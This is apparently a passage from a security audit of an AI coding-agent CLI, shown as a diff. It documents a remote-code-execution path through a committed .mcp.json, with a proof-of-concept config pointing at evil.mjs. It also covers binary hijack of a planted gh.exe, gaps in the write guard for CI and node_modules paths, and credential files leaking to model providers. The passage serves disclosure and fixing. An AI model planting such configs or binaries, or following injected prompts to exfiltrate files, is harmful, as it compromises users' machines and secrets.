### 3.1 ⚠️⚠️ A committed `.mcp.json` in an untrusted repo spawns an attacker-chosen binary on an ordinary run — with no prompt and the full unscrubbed environment
|
|
391
|
-
|
|
392
|
-
**Fix size: 2 hours for what remains. The flag half is already shut.**
|
|
393
|
-
|
|
394
|
-
✅ **PARTLY FIXED, AND THE FIXED HALF WAS THE DISHONEST HALF.** The gate is now
|
|
395
|
-
`maxRounds > 1 && allowRun && !executor.dryRun` (`runSession`, `lib/turn.mjs`), so
|
|
396
|
-
`--dry-run` and `--no-run` do what they say. That mattered more than its severity ranking
|
|
397
|
-
suggested: a flag that promises "touch nothing, run nothing" while spawning a process out
|
|
398
|
-
of the repo is not a weak guarantee, it is a false one, and it was the advice this
|
|
399
|
-
document's own README gave for exactly this threat.
|
|
400
|
-
|
|
401
|
-
**Re-reproduced 2026-08-11**, workspace containing `evil.mjs` (writes `PWNED.txt`) and
|
|
402
|
-
`.mcp.json` = `{"mcpServers":{"evil":{"command":"node","args":["evil.mjs"]}}}`, real CLI:
|
|
403
|
-
|
|
404
|
-
```
|
|
405
|
-
--dry-run → no PWNED.txt ✅ gate holds
|
|
406
|
-
--no-run → no PWNED.txt ✅ gate holds
|
|
407
|
-
--max-rounds 2 → PWNED.txt written ⚠️ still open
|
|
408
|
-
```
|
|
409
|
-
|
|
410
|
-
⚠️ **The third line is the defect that remains, and it is the severe one.** On an ordinary
|
|
411
|
-
run — no flags, the way anyone uses this — cloning an untrusted repository and typing
|
|
412
|
-
`acuvo` executes a binary that repository chose. `readMcpConfig` reads `.acuvo/mcp.json` or
|
|
413
|
-
`.mcp.json` from the workspace root (`MCP_CONFIG_FILES`, `lib/mcp.mjs`); `connectServer`
|
|
414
|
-
spawns with `env: { ...process.env, ...server.env }` — deliberately unscrubbed, with the
|
|
415
|
-
reasoning in the comment above it. Validation is a name regex and
|
|
416
|
-
command-is-a-non-empty-string. There is no prompt and no consent record.
|
|
417
|
-
|
|
418
|
-
Two things still make it worse than it first reads:
|
|
419
|
-
|
|
420
|
-
- **The default is 5 rounds** (`DEFAULT_MAX_ROUNDS`, `lib/cli-args.mjs`), so `maxRounds > 1`
|
|
421
|
-
is satisfied on every ordinary invocation. `--max-rounds 1` remains an escape, but
|
|
422
|
-
nobody would think to reach for it.
|
|
423
|
-
- **No audit record precedes the spawn.** The audit log added since the first draft is
|
|
424
|
-
written when the *run* ends (`recordRun`, `lib/audit.mjs`), and the `mcp` event is
|
|
425
|
-
emitted after `connectServer` returns. If the spawn is what harms you, the record
|
|
426
|
-
arrives after the harm and does not name the binary.
|
|
427
|
-
|
|
428
|
-
Credit where due, and a fix must preserve it: `shell: false` in `connectServer`
|
|
429
|
-
(`lib/mcp.mjs`) means there is no metacharacter injection, and the npm/npx rerouting
|
|
430
|
-
closes the "npx downloads an arbitrary package and executes it" vector by design. Neither
|
|
431
|
-
narrows the class — `"command": "node", "args": ["evil.mjs"]` pointing at a file in the
|
|
432
|
-
same repo was sufficient in both reproductions, and `resolveExecutable` passes any command
|
|
433
|
-
containing a slash through verbatim.
|
|
434
|
-
|
|
435
|
-
Scope, honestly: the child inherits the user's own privileges and gains no persistence
|
|
436
|
-
beyond what it establishes itself. This is user-level RCE, not privilege escalation.
|
|
437
|
-
|
|
438
|
-
**The fix that remains:** record a one-time consent per config-file hash before the first
|
|
439
|
-
spawn. The file is committable and reviewable by design, so the consent is a *read this
|
|
440
|
-
once* prompt, not a per-run nag. Emit the audit event **before** `connectServer`, naming
|
|
441
|
-
the command and args, so the record survives a spawn that never returns.
|
|
442
|
-
|
|
443
|
-
### 3.2 ✅ FIXED — the workspace pre-load no longer ships `.env`, `.npmrc`, `id_rsa` or `*.pem`
|
|
444
|
-
|
|
445
|
-
> ⚠️ **THIS ENTRY SAID "OPEN" UNTIL 2026-08-11, AND IT WAS WRONG BY THEN.** The audit
|
|
446
|
-
> that wrote it read `CONTEXT_SKIP` — which is indeed still a lockfile-and-binary filter,
|
|
447
|
-
> exactly as described below — and concluded from the pattern alone. It did not read the
|
|
448
|
-
> function that *uses* it. `gatherWorkspaceContext` (`lib/turn.mjs`) calls
|
|
449
|
-
> `refusedCommitPath` on every candidate **before** `CONTEXT_SKIP` is consulted, which is
|
|
450
|
-
> precisely the "reuse `NEVER_COMMIT`" fix this section recommends. It had already landed.
|
|
451
|
-
>
|
|
452
|
-
> ⭐ **The lesson is the one this repo keeps paying for: read the code PATH, not the
|
|
453
|
-
> constant.** A grep for the filter that *should* have contained the rule found the wrong
|
|
454
|
-
> line and produced a confident, specific, false finding — in a document whose entire
|
|
455
|
-
> value is that a reviewer can check every claim.
|
|
456
|
-
>
|
|
457
|
-
> **Re-measured 2026-08-11, on a fixture with `.env`, `.npmrc`, `id_rsa`, `server.pem`
|
|
458
|
-
> and one ordinary source file:** all four sentinel secrets absent from the prompt text,
|
|
459
|
-
> `index.js` present. Pinned by `test/integration-seams.test.mjs` ("credentials never
|
|
460
|
-
> reach the prompt — and the source next to them does"), which asserts BOTH directions,
|
|
461
|
-
> because a guard that refuses everything passes the first half and breaks the tool.
|
|
462
|
-
|
|
463
|
-
**The original finding, kept for the record — the analysis is right, the verdict was not:**
|
|
464
|
-
|
|
465
|
-
`CONTEXT_SKIP` (`lib/turn.mjs`) is a lockfile-and-binary filter: `env`, `npmrc`,
|
|
466
|
-
`pem`, `id_rsa` and `credentials` appear nowhere in the pattern. The executor's
|
|
467
|
-
`readFile` (`lib/workspace.mjs`) gates on path safety, size and a NUL-byte binary
|
|
468
|
-
heuristic — there is no filename filter, and the segment whitelist
|
|
469
|
-
(`lib/workspace.mjs`) explicitly admits `.env`. `listDir` sorts names
|
|
470
|
-
(`lib/workspace.mjs`), so dotfiles lead.
|
|
471
|
-
|
|
472
|
-
⚠️ **All of that is still true, and it is still the reason the guard has to stay where it
|
|
473
|
-
is**: nothing in the executor or in `CONTEXT_SKIP` refuses a credential file. The single
|
|
474
|
-
line `if (refusedCommitPath(path)) return;` in `gatherWorkspaceContext` is what stands
|
|
475
|
-
between an ordinary `.env` and four upstream providers. Deleting it re-opens this finding
|
|
476
|
-
in full, which is what the test exists to catch.
|
|
477
|
-
|
|
478
|
-
The original reproduction (a fixture of `.env`, `.env.local`, `.npmrc`, `credentials.json`,
|
|
479
|
-
`id_rsa`, `server.pem`, `package.json`, `src/a.js` returning all eight with `sk_live_…`
|
|
480
|
-
verbatim) no longer reproduces.
|
|
481
|
-
|
|
482
|
-
Two amplifiers, which is why the direction of this bug mattered so much:
|
|
483
|
-
|
|
484
|
-
- `callChain` retries the **identical secret-bearing payload** across up to four model ids
|
|
485
|
-
(`lib/chain.mjs`), so a 429 fans the secrets to more upstreams.
|
|
486
|
-
- `dryRun` is consulted only in `writeFile` and `deleteFile` (`lib/workspace.mjs`,
|
|
487
|
-
`:240`). The read and the upload happen in full.
|
|
488
|
-
|
|
489
|
-
⭐ **The internal contradiction WAS the argument, and it is how the fix was chosen.**
|
|
490
|
-
`NEVER_COMMIT` (`lib/git.mjs`) blocks exactly these filenames from being *staged*, and
|
|
491
|
-
`scrubEnvironment` strips secrets from *children* — this package had already decided these
|
|
492
|
-
files are radioactive in two other places, so the prompt path reuses the same list rather
|
|
493
|
-
than growing a second copy that would go stale. That is what `refusedCommitPath` in
|
|
494
|
-
`gatherWorkspaceContext` is.
|
|
495
|
-
|
|
496
|
-
Framing precisely, for whoever repeats this to Legal: the user does invoke the CLI, so
|
|
497
|
-
this is not background exfiltration. What is absent is *per-file consent, any preview of
|
|
498
|
-
what was gathered, and any opt-out flag* — and it happens under the flag documented as
|
|
499
|
-
the safe mode. The certain harm is live credential and source disclosure to a broker plus
|
|
500
|
-
its rotating upstreams; the GDPR Art. 28/44 angle engages only insofar as the repo
|
|
501
|
-
contains personal data, and should be presented as conditional.
|
|
502
|
-
|
|
503
|
-
### 3.3 ⚠️ `acuvo --issue N` on Windows executes a `gh` binary dropped in the current directory
|
|
504
|
-
|
|
505
|
-
**Fix size: 30 minutes.**
|
|
506
|
-
|
|
507
|
-
`lib/github.mjs` — `runImpl('gh', ['auth','token'], { …, shell: process.platform ===
|
|
508
|
-
'win32' })`. No `cwd`, no `env`. It is the **only** `shell: true` in the package (the
|
|
509
|
-
other two call sites, `lib/command.mjs` and `lib/mcp.mjs`, are `shell: false`),
|
|
510
|
-
and `scrubEnvironment` is absent from this path, so the child receives
|
|
511
|
-
`OPENROUTER_API_KEY`.
|
|
512
|
-
|
|
513
|
-
Measured on Windows 11 with the real exported function: a `gh.exe` in the current
|
|
514
|
-
directory won over `C:\Program Files\GitHub CLI\gh.exe` under **both** `shell: true` and
|
|
515
|
-
`shell: false`.
|
|
516
|
-
|
|
517
|
-
⚠️ **The obvious diagnosis is wrong.** `shell: true` is not why `gh.exe` wins — libuv's
|
|
518
|
-
own Windows path search consults the current directory before PATH. `shell: true` only
|
|
519
|
-
widens the payload set to include `.bat`/`.cmd`. **Deleting the `shell` option does not
|
|
520
|
-
close the hole.** The correct fix is the one this package already wrote for itself:
|
|
521
|
-
resolve to an absolute path via `resolveExecutable` (`lib/mcp.mjs`), which walks
|
|
522
|
-
PATH with PATHEXT and never looks at cwd.
|
|
523
|
-
|
|
524
|
-
Also: `--dry-run` and `--no-run` do not protect. `opts.dryRun`/`opts.allowRun` are
|
|
525
|
-
consulted at `bin/acuvo.mjs` for the agent loop only; the `--issue` block calls
|
|
526
|
-
`findToken()` at `:176` unconditionally.
|
|
527
|
-
|
|
528
|
-
Accurate scope: Windows, no `GITHUB_TOKEN`/`GH_TOKEN` set (`lib/github.mjs` returns
|
|
529
|
-
early if either is), and the `gh`-login path `README.md` recommends. It fires when the
|
|
530
|
-
user has `cd`'d into the hostile repo, not merely pointed `--dir` at it. No test caught it
|
|
531
|
-
because `test/smoke.test.mjs` injects `runImpl`.
|
|
532
|
-
|
|
533
|
-
### 3.4 The write-forbidden list checks only the first path segment, and omits CI and hook directories
|
|
534
|
-
|
|
535
|
-
**Fix size: 15 minutes — two lines.**
|
|
536
|
-
|
|
537
|
-
`lib/workspace.mjs` is `WRITE_FORBIDDEN_ROOTS.has(segments[0])` — index 0 only. The
|
|
538
|
-
set is exactly `['.git','node_modules','.next','.vercel']`. `writeFile` creates
|
|
539
|
-
intermediate directories itself.
|
|
540
|
-
|
|
541
|
-
Executed against a temp workspace, all of these returned `{ok:true, created:true}` and
|
|
542
|
-
landed on disk: `packages/web/node_modules/vitest/dist/index.js`,
|
|
543
|
-
`.github/workflows/deploy.yml`, `.husky/pre-commit`, `.vscode/tasks.json`,
|
|
544
|
-
`.devcontainer/devcontainer.json`. Only the *root-level* `node_modules/x.js` and
|
|
545
|
-
`.git/hooks/pre-commit` were refused. Test coverage is root-only
|
|
546
|
-
(`console/lib/acuvo-code-workspace.test.ts:299`).
|
|
547
|
-
|
|
548
|
-
Ranking the three legs honestly:
|
|
549
|
-
|
|
550
|
-
- **Nested `node_modules` in a workspace monorepo** — executes on the next `npm run`. Real.
|
|
551
|
-
- **`.github/workflows/`** — the sharp one, and a supply-chain concern.
|
|
552
|
-
- `.vscode/tasks.json` and `.devcontainer/` need an editor gesture or a container rebuild;
|
|
553
|
-
they are exposure, not execution.
|
|
554
|
-
- ⚠️ The nested-`.git` variant is the *weakest* leg, not an equal one: a submodule's or
|
|
555
|
-
worktree's `.git` is a **file**, so the write fails with `ENOTDIR` (verified). It only
|
|
556
|
-
lands in a vendored full clone, and a POSIX hook written by `writeFileSync` is not
|
|
557
|
-
executable and will not fire.
|
|
558
|
-
|
|
559
|
-
### 3.5 A provider outage mid-run exits 0 and reports `ok: true` — the shell is told the task succeeded
|
|
560
|
-
|
|
561
|
-
**Fix size: 30 minutes — two lines and a test.**
|
|
562
|
-
|
|
563
|
-
`lib/turn.mjs`: a non-round-1 model failure sets `stoppedBecause = 'model-error'`
|
|
564
|
-
and `break`s. The fall-through return is a hardcoded `ok: true, stage: 'done'`
|
|
565
|
-
. `sessionFailed` inspects only `verification` and never
|
|
566
|
-
reads `stoppedBecause`. `bin/acuvo.mjs` (and `:258`) map that to `EXIT_OK`.
|
|
567
|
-
|
|
568
|
-
An outage is a *returned value*, not a throw: `lib/model.mjs` returns `{ok:false}`
|
|
569
|
-
for any non-2xx including 429/5xx, and `lib/chain.mjs` returns `{ok:false}` after
|
|
570
|
-
exhausting four attempts — landing exactly on the `model-error` branch in `runSession`.
|
|
571
|
-
|
|
572
|
-
Executed with a stub that writes a file in round 1 and returns a chain-exhausted 429 in
|
|
573
|
-
round 2: `outcome.ok = true`, `stoppedBecause = 'model-error'`, `sessionFailed = false`,
|
|
574
|
-
**exit code 0**, half-finished file still on disk, `--json` reporting `"ok": true,
|
|
575
|
-
"error": null`. `acuvo … && git commit && git push` proceeds.
|
|
576
|
-
|
|
577
|
-
Two honest qualifications, and one thing that is worse than described:
|
|
578
|
-
|
|
579
|
-
- A watching human is not left with nothing: under the defaults the summary prints
|
|
580
|
-
`⚠ NOTHING WAS RUN…` (`lib/turn.mjs`). But it misattributes the cause — it
|
|
581
|
-
blames the model for not calling `run_command`, not the provider for dying.
|
|
582
|
-
- `--json` does emit `stoppedBecause` (`lib/report.mjs`), so a CI consumer *could*
|
|
583
|
-
branch on it today. It cannot branch on `ok` or `$?`.
|
|
584
|
-
- ⚠️ **Worse case:** if round 1 runs a command that passes and the outage hits the
|
|
585
|
-
extension round, `verification.passed` stays `true` and the summary prints `✔ VERIFIED`
|
|
586
|
-
over a session that died with work outstanding. That is an active false positive.
|
|
587
|
-
|
|
588
|
-
The same hole exists on the parallel path: `bin/acuvo.mjs` tests `r.outcome?.ok === false`,
|
|
589
|
-
which a `model-error` session never is.
|
|
590
|
-
|
|
591
|
-
**Re-checked 2026-08-11: still open.** `runSession`'s success return is still a literal
|
|
592
|
-
`ok: true`, and `sessionFailed` (`lib/turn.mjs`) still inspects only `outcome.ok`,
|
|
593
|
-
`outcome.verification` and — new since the first draft — `outcome.acceptance`. It never
|
|
594
|
-
reads `stoppedBecause`.
|
|
595
|
-
|
|
596
|
-
⭐ **One thing did improve, and it is worth naming precisely because it is not the fix.**
|
|
597
|
-
`stoppedBecause` is now persisted, not merely printed: the audit line carries it
|
|
598
|
-
(`recordRun`, `lib/audit.mjs`), so after the fact you can prove a run died on the provider.
|
|
599
|
-
That turns an invisible failure into a *diagnosable* one. It does not make the exit code
|
|
600
|
-
honest, and `acuvo … && git push` still proceeds. Persisting a wrong verdict is not the
|
|
601
|
-
same as correcting it, and this document should not be read as if it were.
|
|
602
|
-
|
|
603
|
-
### 3.6 The run reports the model you asked for, never the model that answered — plus two smaller media defects
|
|
604
|
-
|
|
605
|
-
**Fix size: model attribution, 1 line. Media, 1 hour.**
|
|
606
|
-
|
|
607
|
-
`lib/chain.mjs` returns `usedFallback` and `chainTried` under a header that names
|
|
608
|
-
silent downgrade as *"the dishonest version of this feature"* — and **nothing
|
|
609
|
-
consumes them**. Grep across the package returns only `chain.mjs` itself and
|
|
610
|
-
`test/smoke.test.mjs`. `runSession` calls the chain with `model: config.model`
|
|
611
|
-
(`lib/turn.mjs`), never reads `reply.model`, and returns `model: config.model`
|
|
612
|
-
into both the human cost line and the `--json` document
|
|
613
|
-
(`lib/report.mjs`).
|
|
614
|
-
|
|
615
|
-
⭐ **The fix is one line, not a design change.** `lib/model.mjs` already returns the
|
|
616
|
-
candidate that was called and `callChain` (`lib/chain.mjs`) spreads it — so `reply.model`
|
|
617
|
-
*already holds* the answering model inside `runSession`. The return object simply prefers
|
|
618
|
-
`config.model` over the value sitting in scope.
|
|
619
|
-
|
|
620
|
-
⚠️ **Re-checked 2026-08-11: still open, and the audit log makes it visible rather than
|
|
621
|
-
fixing it.** The new audit record has the right *shape* —
|
|
622
|
-
`"model":{"requested":…,"answered":…,"chain":[…]}` — and on a real, successful,
|
|
623
|
-
no-fallback run it wrote:
|
|
624
|
-
|
|
625
|
-
```json
|
|
626
|
-
"model":{"requested":"deepseek/deepseek-v4-flash-0731","answered":null,"chain":[]}
|
|
627
|
-
```
|
|
628
|
-
|
|
629
|
-
`answered: null`, because nothing upstream ever populates it. That is the honest shape
|
|
630
|
-
(a null is not a lie, where repeating the requested id would be), and it is also the
|
|
631
|
-
clearest possible statement that the one-line fix has not been made. A compliance artifact
|
|
632
|
-
with a permanently-null "which model answered" field is a field you will be asked about.
|
|
633
|
-
|
|
634
|
-
Four precisions that change how you should weight it:
|
|
635
|
-
|
|
636
|
-
- The substitution is **not unconditional**: the chain advances only when `isRetryable`
|
|
637
|
-
says so (`lib/chain.mjs`) — 429, 5xx, transport, empty-200. A 400/401/403/404
|
|
638
|
-
returns at `:137` with `usedFallback: false` and never tries a second model.
|
|
639
|
-
`MAX_ATTEMPTS = 4` bounds it to three substitutes.
|
|
640
|
-
- On *total* failure the error string does list every model tried. The
|
|
641
|
-
dishonesty is specific to the **success** path — which is the worse half, since that is
|
|
642
|
-
the run that produces files and a receipt.
|
|
643
|
-
- Every candidate goes through the same endpoint and key (`lib/model.mjs`), so
|
|
644
|
-
this is not an unannounced second vendor relationship.
|
|
645
|
-
- ⚠️ **But it is broader than fallback.** `lib/model.mjs` sets the returned `model` from
|
|
646
|
-
the *request* parameter, never from the response body — so even with zero fallbacks the
|
|
647
|
-
reported id does not identify which OpenRouter sub-provider served the call.
|
|
648
|
-
|
|
649
|
-
**Media, same bucket:** `transcribe` base64s and POSTs **any** workspace file with no size
|
|
650
|
-
cap and no extension check (`lib/media.mjs`), while its sibling `speak` *does* cap
|
|
651
|
-
its input at 5,000 characters — a cap was written for one and omitted from the
|
|
652
|
-
other. `--dry-run` does not gate the POST in `seePage` (`:139` vs `:150`), `makeDocument`
|
|
653
|
-
(`:220` vs `:224`) or `transcribe` (which takes no `dryRun` at all, and is called
|
|
654
|
-
without one at `lib/tools.mjs`).
|
|
655
|
-
|
|
656
|
-
⚠️ And a real bug the security framing walks past: the CLI sends `{ audioB64: b64 }`
|
|
657
|
-
(`lib/media.mjs`) but our worker reads `item.get("audio_b64")`
|
|
658
|
-
(`gpu/modal/transcribe.py:108`) and rejects with `"supply audio_url or audio_b64"`.
|
|
659
|
-
`console/lib/transcribe.ts:116` sends the correct key. **CLI `transcribe` currently pays
|
|
660
|
-
the egress cost and returns nothing.** The author handled exactly this camel/snake split
|
|
661
|
-
on the *response* side (`lib/media.mjs`) and never checked the request side.
|
|
662
|
-
|
|
663
|
-
⭐ For the record, because it is the opposite of a gap: this is **not** an
|
|
664
|
-
unauthenticated exfiltration channel. `gpu/modal/transcribe.py:101-105` fails shut —
|
|
665
|
-
`if not expected or item.get("secret") != expected: return unauthorised`, commented *"A
|
|
666
|
-
missing secret must fail shut, never open."* The destination is
|
|
667
|
-
`MODAL_TRANSCRIBE_URL` from the operator's own environment (`lib/media.mjs`); a prompt
|
|
668
|
-
injection chooses *which* file, never *where it goes*.
|
|
669
|
-
|
|
670
|
-
### 3.7 ✅ FIXED — the README's credential clause is scoped
|
|
671
|
-
|
|
672
|
-
It said the agent "cannot see your credentials", unscoped, where the code comment it
|
|
673
|
-
summarises is precisely scoped to reading API keys out of `process.env`. It now reads
|
|
674
|
-
"cannot see your credentials **in its environment**", followed by a paragraph naming what
|
|
675
|
-
the scrub does not reach: `~/.aws/credentials`, `~/.ssh/id_rsa`, `~/.config/gh/hosts.yml`,
|
|
676
|
-
and any variable `SECRET_NAME` misses. Three words plus a paragraph. Closed.
|
|
677
|
-
|
|
678
|
-
### 3.8 The documented defaults did not match the code, in both documents
|
|
679
|
-
|
|
680
|
-
**Found 2026-08-11 while auditing this file. Fixed in the docs; nothing to fix in code.**
|
|
681
|
-
|
|
682
|
-
`README.md` documented `--max-rounds` as 3 (it is **5**) and `--max-tokens` as 8000 (it is
|
|
683
|
-
**12000**). This document repeated the round number in §1.4 and §5.2. Both came from the
|
|
684
|
-
same trap: there are **two** constants named `DEFAULT_MAX_ROUNDS`, one in `lib/turn.mjs`
|
|
685
|
-
(value 3, the fallback for a library caller that omits the argument) and one in
|
|
686
|
-
`lib/cli-args.mjs` (value 5, what every CLI run gets). The docs cited the first and
|
|
687
|
-
described the second.
|
|
688
|
-
|
|
689
|
-
⭐ **Worth more than the correction: nothing in the package could catch it.** 455 tests
|
|
690
|
-
passed the whole time, because a test that reads the constant and a doc that states a
|
|
691
|
-
number never meet. `test/docs-truth.test.mjs` now parses the README's own options table
|
|
692
|
-
and asserts each documented default equals the exported constant — so the next time a
|
|
693
|
-
default moves, the suite goes red instead of the documentation going quietly wrong.
|
|
694
|
-
|
|
695
|
-
### Summary table
|
|
696
|
-
|
|
697
|
-
| # | gap | class | fix size | state |
|
|
698
|
-
|---|---|---|---|---|
|
|
699
|
-
| 3.1 | `.mcp.json` auto-spawn on an ordinary run, unscrubbed env, no consent | RCE from a cloned repo | done | ✅ **fixed 2026-08-12** — one-time consent per config fingerprint (`lib/mcp-consent.mjs`), trust store under `$HOME` and **never** in the workspace, fails closed with no terminal, and the binary is announced BEFORE the spawn. The audit's own repro (`evil.cjs` + committed `.mcp.json`, `--max-rounds 2`) no longer writes `PWNED.txt`. |
|
|
700
|
-
| 3.2 | Pre-load ships `.env`/`*.pem`/`id_rsa` to the provider | credential disclosure | done | ✅ **fixed, and it was fixed before this document said otherwise** — `gatherWorkspaceContext` runs every candidate through `refusedCommitPath`; re-measured and pinned by a test |
|
|
701
|
-
| 3.3 | `gh` resolved from cwd on Windows | binary hijack | done | ✅ **fixed 2026-08-12** — resolved through `resolveOnPath` to an absolute path (measured: `C:\Program Files\GitHub CLI\gh.EXE`), and the child now gets `scrubEnvironment(env)` instead of the API key |
|
|
702
|
-
| 3.4 | Write guard checks `segments[0]` only; `.github/` unlisted | supply chain | done | ✅ **fixed 2026-08-12** — every segment is checked, so `packages/web/node_modules/…` is refused. ⚠️ `.github/` `.husky/` `.vscode/` deliberately **left writable**: they are tracked and appear in every diff, "add a CI workflow" is an ordinary request, and refusing correct work is the more expensive mistake. Reasoning in `workspace.mjs`; revisit as a policy setting, not by extending the set. |
|
|
703
|
-
| 3.5 | Outage exits 0 / `ok: true` (and can print `✔ VERIFIED`) | CI correctness | done | ✅ **fixed 2026-08-12** — `sessionFailed` now reads `stoppedBecause === 'model-error'`, the summary names the provider instead of blaming the model, and the parallel path uses the same verdict function (it had the identical hole) |
|
|
704
|
-
| 3.6 | Reported model ≠ answering model; media caps and `--dry-run` gates; `audioB64` key bug | audit + correctness | mostly | ✅ **model attribution FIXED** (re-measured: the audit record carries `"answered":…,"chain":[…]`). ✅ **`audioB64` FIXED** — it sends `audio_b64` now. ✅ **`transcribe` FIXED** — it took no `dryRun` at all and had no size or type check, so an unbounded upload of any workspace file was one wrong argument away; now capped at 25MB, restricted to audio/video extensions, and refused under `--dry-run`. ⚠️ **DELIBERATELY NOT CHANGED:** `seePage` / `speak` / `makeDocument` still POST under `--dry-run`. They have always used `dryRun` to mean "do not WRITE", `designPass` passes it straight through to render-and-critique, and 15+ tests encode that meaning — **redefining the flag underneath a shipped feature is a product decision, not a bug fix.** Roman's call; forcing it broke 13 tests protecting the design loop. |
|
|
705
|
-
| 3.7 | README credential clause unscoped | documentation | 5 min | ✅ **fixed** |
|
|
706
|
-
| 3.8 | Documented `--max-rounds`/`--max-tokens` defaults wrong in both docs | documentation | 15 min | ✅ **fixed**, and now guarded by a test |
|
|
707
|
-
|
|
708
|
-
Total for what remains: **one deliberate open question — whether `--dry-run` should stop a render POST (§3.6) — and nothing else in this table.** Every other row is closed and pinned by a test in `test/enterprise-gaps.test.mjs` — a gap closed without a test is a gap that reopens on the next refactor, which is how three of these stayed open for weeks after being written down.
|
|
709
|
-
|
|
710
|
-
⚠️ **One gap has been closed since the first draft that is not in this table, because it
|
|
711
|
-
was never a defect — it was missing product:** there is now an audit log (§2.2/4).
|
|
712
|
-
|
|
713
|
-
---
|
|
714
|
-
|
|
715
|
-
## 4. What to build first, and why
|
|
716
|
-
|
|
717
|
-
Reordered 2026-08-11 against what is actually still open. Two items from the first
|
|
718
|
-
draft's list are struck because they are done.
|
|
719
|
-
|
|
720
|
-
1. **§3.2 — stop shipping secrets in the prompt.** *One hour.* First because it is the
|
|
721
|
-
only gap that discloses data on an ordinary, non-adversarial run — no hostile repo
|
|
722
|
-
required, no Windows required — and because it is what a security reviewer finds
|
|
723
|
-
first and cannot un-see. `NEVER_COMMIT` (`lib/git.mjs`) already exists; reuse it in
|
|
724
|
-
`CONTEXT_SKIP` (`lib/turn.mjs`) and in the executor's `readFile`.
|
|
725
|
-
2. **§3.1 — add config-hash consent before the first MCP spawn.** *2 hours.* The flag
|
|
726
|
-
gate is shut, so the remaining exposure is conditional on a hostile repo — but it is
|
|
727
|
-
still the highest severity on the list, and it now fires on the *ordinary* path,
|
|
728
|
-
which is the one everybody uses. Emit the audit event before `connectServer`, not
|
|
729
|
-
after, so a spawn that never returns still leaves a record naming the binary.
|
|
730
|
-
3. **§3.3 — route `gh` through `resolveExecutable`.** *30 minutes.* Third only because
|
|
731
|
-
it is Windows-and-configuration-scoped. The fix is copying a function this package
|
|
732
|
-
already wrote (`resolveExecutable`, `lib/mcp.mjs`), so it is nearly free and there is
|
|
733
|
-
no reason to defer it past the same commit block.
|
|
734
|
-
4. **§3.5 — make `sessionFailed` read `stoppedBecause`.** *30 minutes.* Now that the
|
|
735
|
-
audit log records the cause, the exit code is the last place still telling the shell
|
|
736
|
-
the wrong thing. This is the one that makes the product *usable* as a build step
|
|
737
|
-
rather than merely safe, and it is the gap that breaks the promise the exit codes
|
|
738
|
-
exist for.
|
|
739
|
-
5. **§3.4 — test every path segment, extend the set with `.github`, `.husky`,
|
|
740
|
-
`.vscode`, `.devcontainer`.** *15 minutes.* Below §3.5 because it requires the model
|
|
741
|
-
to be adversarial or badly wrong, whereas §3.5 fires on an ordinary rate limit.
|
|
742
|
-
6. **§3.6 — honest model attribution, media caps, the `audio_b64` key.** *~1 hour.*
|
|
743
|
-
Correctness and truthfulness, not exposure. The audit log already has the
|
|
744
|
-
`model.answered` field waiting for a value; populating it is one line and it turns a
|
|
745
|
-
permanently-null compliance field into a real one.
|
|
746
|
-
7. **Then a consent/approval gate for `delete_file` and out-of-plan writes.** The
|
|
747
|
-
remaining *new* control, and the one that makes unattended operation defensible.
|
|
748
|
-
8. **Then tamper-evidence for the audit log.** It is currently written into the workspace
|
|
749
|
-
by the same process that edits the workspace, which makes it evidence rather than
|
|
750
|
-
proof. Append-only hashing or an out-of-workspace destination is the next honest step,
|
|
751
|
-
and it should be sold as that step rather than implied today.
|
|
752
|
-
|
|
753
|
-
~~**An audit log.**~~ ✅ **Done** — it was item 7 on the first draft's list and the first
|
|
754
|
-
genuinely new enterprise control on it. `.acuvo/audit/<date>.jsonl`, redacted, bounded,
|
|
755
|
-
opt-out-able. See §2.2/4 for a real record and for the two things it still does not do.
|
|
756
|
-
|
|
757
|
-
~~**§3.7 — the README credential clause.**~~ ✅ Done.
|
|
758
|
-
|
|
759
|
-
⚠️ **What is deliberately *not* on this list:** an endpoint override, SSO, entitlements,
|
|
760
|
-
metering. Each is a real enterprise requirement (§2.2, items 6 and 8) and none of them is
|
|
761
|
-
a defect — they are unbuilt product, and building them before the defects above would be
|
|
762
|
-
shipping features on top of a list we have already written down.
|
|
763
|
-
|
|
764
|
-
---
|
|
765
|
-
|
|
766
|
-
## 5. Where we lose to Claude Code, Cursor and Copilot today
|
|
767
|
-
|
|
768
|
-
No spin. If any of these five is decisive for you, buy theirs.
|
|
769
|
-
|
|
770
|
-
### 5.1 ⚠️ Your tests probably do not run at all
|
|
771
|
-
|
|
772
|
-
`ALLOWED_BINARIES` is `node`, `npm`, `npx`, `tsc` (`lib/command.mjs`). A Python, Go,
|
|
773
|
-
Rust, Java, Ruby or .NET shop **cannot execute a single test** with this tool. The
|
|
774
|
-
run-and-fix loop — the thing that produces the 5/7 → 7/7 improvement — degrades to
|
|
775
|
-
"writes files and cannot check them".
|
|
776
|
-
|
|
777
|
-
This is structural, not an oversight: the whole safety argument in §2.1 is that the model
|
|
778
|
-
cannot pick a program. Every language we add is a new binary and a new argument grammar
|
|
779
|
-
to validate. Claude Code, Cursor and Copilot run whatever your shell runs, and for a
|
|
780
|
-
polyglot enterprise that is not a small advantage — it is the deciding one.
|
|
781
|
-
|
|
782
|
-
### 5.2 Horizon — and delegation, which is no longer absent
|
|
783
|
-
|
|
784
|
-
Default **5** rounds, hard ceiling **64** (`DEFAULT_MAX_ROUNDS` and `MAX_ROUNDS_LIMIT`,
|
|
785
|
-
`lib/cli-args.mjs` — this document previously said 3, then 8, see §3.8). The cap is a
|
|
786
|
-
deliberate cost decision and it is *also* a real capability loss: a refactor that needs
|
|
787
|
-
forty tool rounds cannot be expressed here.
|
|
788
|
-
|
|
789
|
-
⚠️ **This section was headed "the absence of delegation" and said "we have neither
|
|
790
|
-
sub-agents nor task delegation". Both halves are now false.** `delegate` ships
|
|
791
|
-
(`runSubagent` / `subagentToolSchemas`, `lib/subagent.mjs`; dispatched in `lib/tools.mjs`).
|
|
792
|
-
The honest description of what it is and is not:
|
|
793
|
-
|
|
794
|
-
- It is **read-only**. The helper is offered twelve tools, every one of them a read
|
|
795
|
-
(`SUBAGENT_TOOL_NAMES`) — no write, no edit, no commit, no execution — and `allowRun:
|
|
796
|
-
false` locks the dispatcher behind the offer, so `mutated: false` is a fact about the
|
|
797
|
-
tool surface rather than a convention.
|
|
798
|
-
- It is **one level deep** (`MAX_SUBAGENT_DEPTH` = 1). A helper cannot delegate again. Two
|
|
799
|
-
levels is how a five-round task becomes a hundred model calls nobody authorised.
|
|
800
|
-
- It is **capped at 6 rounds, 4 by default** (`MAX_SUBAGENT_ROUNDS`). A subagent must not
|
|
801
|
-
outspend its parent; a researcher needing more than a handful of rounds is being asked
|
|
802
|
